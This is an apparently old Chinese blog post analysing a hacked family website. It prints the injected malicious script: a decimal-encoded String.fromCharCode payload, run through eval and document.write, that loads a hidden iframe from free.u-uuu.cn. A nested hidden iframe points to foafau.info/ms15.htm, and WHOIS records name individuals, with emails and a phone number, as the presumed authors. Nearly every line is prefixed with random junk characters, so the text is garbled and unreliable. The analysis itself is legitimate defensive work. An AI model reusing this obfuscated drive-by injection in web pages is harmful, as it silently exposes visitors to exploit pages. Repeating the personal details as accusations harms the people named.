首发在我的博客里面，
IY'=DePd $``1PJoi http://www.areway.cn/?p=175 Dr&('RZ4 39 81ie $
i)bq6 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
MB^~%uZ2K 8I20*# <script>t=’60,105,102,114,97,109,101,
LsEXM- 32,115,114,99,61,104,116,116,112,58,47,47,
{R<Ea
@LV+ 102,114,101,101,46,117,45,117,117,117,46,99,
1d "Z>k:mn 110,47,101,114,114,111,114,46,104,116,109,
QZp6YSz.4 32,119,105,100,116,104,61,49,48,48,32,104,
_/8FRk x 101,105,103,104,116,61,48,62,60,47,105,102,
\6n!3FLl 114,97,109,101,62′;
oBQ#eW aY t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
RpWTpT1 .; y# <script>t=’60,105,102,114,97,109,101,32,115,
b5$Jf jI 114,99,61,104,116,116,112,58,47,47,102,114,
8KB>6[H!wE 101,101,46,117,45,117,117,117,46,99,110,47,
N7'OPTKt& 101,114,114,111,114,46,104,116,109,32,119,
4%4avEa"w 105,100,116,104,61,49,48,48,32,104,101,105,
fx=Awba 103,104,116,61,48,62,60,47,105,102,114,97,
h5%<+D< 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
D 0k
8^ document.write(t);</script>
T{V/+ RM bmN q[} <html xmlns=”
/>¬$> http://www.w3.org/1999/xhtml I}e 3zf> “>
B\J^=W+` <head>
GRb*Ee T <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
;Op3?_ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
/{wJEuE <title>首页 - 爱生活家庭网
rG#Z=*b% A(?\>X
9g 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
tz#gClo 转换字符串后的大概内容是（谁点击后果自付）：
t+5E#!y
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
FX9F"42@ , Y 3W? 查询玉米u-uuu.cn的详细信息：
-.g|l\ Domain Name: u-uuu.cn
rl9. ]~ ROID: 20070901s10001s64972306-cn
hN['7:bQ Domain Status: ok
~m|Mg9- Registrant Organization: 王雷
4}` Registrant Name: 王雷
[V 4 {c@ Administrative Email:
czlovexs@126.com /R>nr" Sponsoring Registrar: 北京万网志成科技有限公司
2H.654 Name Server:ns.yovole.com
8ElKD{.BU8 Name Server:ns1.yovole.com
GUF"<k Registration Date: 2007-09-01 17:54
f|y:vpd% Expiration Date: 2008-09-01 17:54
-( O-% 最后PING了一下地址 都没有什么….
LL|7rS|o f;}E h G' 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
aM7uBx\8 5 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
sA g Kg=) <script language=”javascript” src=”
Vi4~`;|&b+ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ?<G]&EK~~] >
2e$w?W0^ 这个玉米应该有可能是木马作者的：
K}6dg< foafau.info的详细信息：
"t^URp3 Access to INFO WHOIS information is provided to assist persons in
)lJao determining the contents of a domain name registration record in the
p7:{^ Afilias registry database. The data in this record is provided by
]7;\E\o Afilias Limited for informational purposes only, and Afilias does not
tzy'G"P| guarantee its accuracy. This service is intended only for query-based
Q}S_%I}u: access. You agree that you will use this data only for lawful purposes
XUuu-wm:} and that, under no circumstances will you use this data to: (a) allow,
wvrrMGU) a enable, or otherwise support the transmission by e-mail, telephone, or
' B facsimile of mass unsolicited, commercial advertising or solicitations
7LO%#No", to entities other than the data recipient’s own existing customers; or
6sa"O89 (b) enable high volume, automated, electronic processes that send
wH~kTU2br queries or data to the systems of Registry Operator, a Registrar, or
fX
jG5Tv Afilias except as reasonably necessary to register domain names or
%Th> C2\ modify existing registrations. All rights reserved. Afilias reserves
U% h); !< the right to modify these terms at any time. By submitting this query,
iS5W>1] you agree to abide by this policy.
LN_ xq&. Domain ID:D22418703-LRMS
z5W@`=D Domain Name:FOAFAU.INFO
"*,X L
uv> Created On:20-Nov-2007 16:05:42 UTC
\6;=$f/?t Last Updated On:20-Nov-2007 16:05:44 UTC
c{[q>@y
pK Expiration Date:20-Nov-2008 16:05:42 UTC
BL 3gKx.' Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
%T7nO %p Status:CLIENT DELETE PROHIBITED
N?X^O# [ Status:CLIENT RENEW PROHIBITED
w&xDOyW ] Status:CLIENT TRANSFER PROHIBITED
6rS$yjTX! Status:CLIENT UPDATE PROHIBITED
p _d:eZ Status:TRANSFER PROHIBITED
w,Ee>cV]a Registrant ID:GODA-040110615
G|\^{ 5 Registrant Name:liu hong
fvb=#58N _ Registrant Organization:
WoxwEi1~0 Registrant Street1:beijing
oA1a /[# Registrant Street2:
'_b.\_s-d Registrant Street3:
Zs<KZGn-B Registrant City:beijing
':R,53tjl Registrant State/Province:
y,pZTlE Registrant Postal Code:100000
)/t?!T.[ Registrant Country:CN
gl).cIp w Registrant Phone:+86.860108888777
eSW{C b Registrant Phone Ext.:
k<+0o)) Registrant FAX:
_w*}\~`=^ Registrant FAX Ext.:
@ |'5 n Registrant Email:bbbshiji@163.com
% >;#9"O4 Admin ID:GODA-240110615
^*\XgX Admin Name:liu hong
/pp1~r.s?> Admin Organization:
Xv@SxS-5l Admin Street1:beijing
UJs$q\#RO Admin Street2:
U.{l;EL:T Admin Street3:
3Tq\BZ Admin City:beijing
4`Ic&c/ Admin State/Province:
Mc!Xf[ Admin Postal Code:100000
t tXjn Admin Country:CN
M# 18H<] Admin Phone:+86.860108888777
ud fe Admin Phone Ext.:
XhsTT2B Admin FAX:
KN"S?i]X Admin FAX Ext.:
ps$7bN C Admin Email:bbbshiji@163.com
hXGwP4 Billing ID:GODA-340110615
8QK5z;E2~ Billing Name:liu hong
R}mn* h6 Billing Organization:
[31p&FxM Billing Street1:beijing
b|z g< Billing Street2:
a?YCn! Billing Street3:
ET];%~ ^ Billing City:beijing
m5 G \}8| Billing State/Province:
dz>;<&2Z Billing Postal Code:100000
-*2Mf Mh Billing Country:CN
,<DB&&EV8 Billing Phone:+86.860108888777
{YUIMd!Y Billing Phone Ext.:
;6
+} z~ Billing FAX:
4em;+ >D6 Billing FAX Ext.:
A[WV'!A, Billing Email:bbbshiji@163.com
q2:K 4 Tech ID:GODA-140110615
G;3~2^lB\ Tech Name:liu hong
^KB~*'DN~s Tech Organization:
{K#NB_*To Tech Street1:beijing
P'MY[&|mM' Tech Street2:
$(Ugtimdv Tech Street3:
+jC*'7 p@ Tech City:beijing
;O 0+, Tech State/Province:
htY=w}> Tech Postal Code:100000
YC]L)eafo` Tech Country:CN
{2`=qt2 Tech Phone:+86.860108888777
drwgjLC+ Tech Phone Ext.:
@5)
8L/[l Tech FAX:
v6\F
Q9|t Tech FAX Ext.:
wiX ~D
Tech Email:bbbshiji@163.com
KNgH| 5Pb Name Server:NS27.DOMAINCONTROL.COM
U= sh[W Name Server:NS28.DOMAINCONTROL.COM
clI*7j.4E# Name Server:
^% Q|s#w. Name Server:
pS 4&w8s Name Server:
(yo;NKq,@ Name Server:
+*oS((0s Name Server:
]<DNo&fw Name Server:
a'\By?V]
Name Server:
{J/I-=CmML Name Server:
}G$]LWgQx Name Server:
t4Z Name Server:
"x' ), Name Server:
$V6^G*Q zm9TvoC%} 接着下载每个文件里面的代码：
g= }v>[k E 一步一步看..
CGw--`#\ 
Bqws!RM'&@ 
m xw dugr` 
!k$}Kj)I 
IGX:H)&* 
,G^[o,hS 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
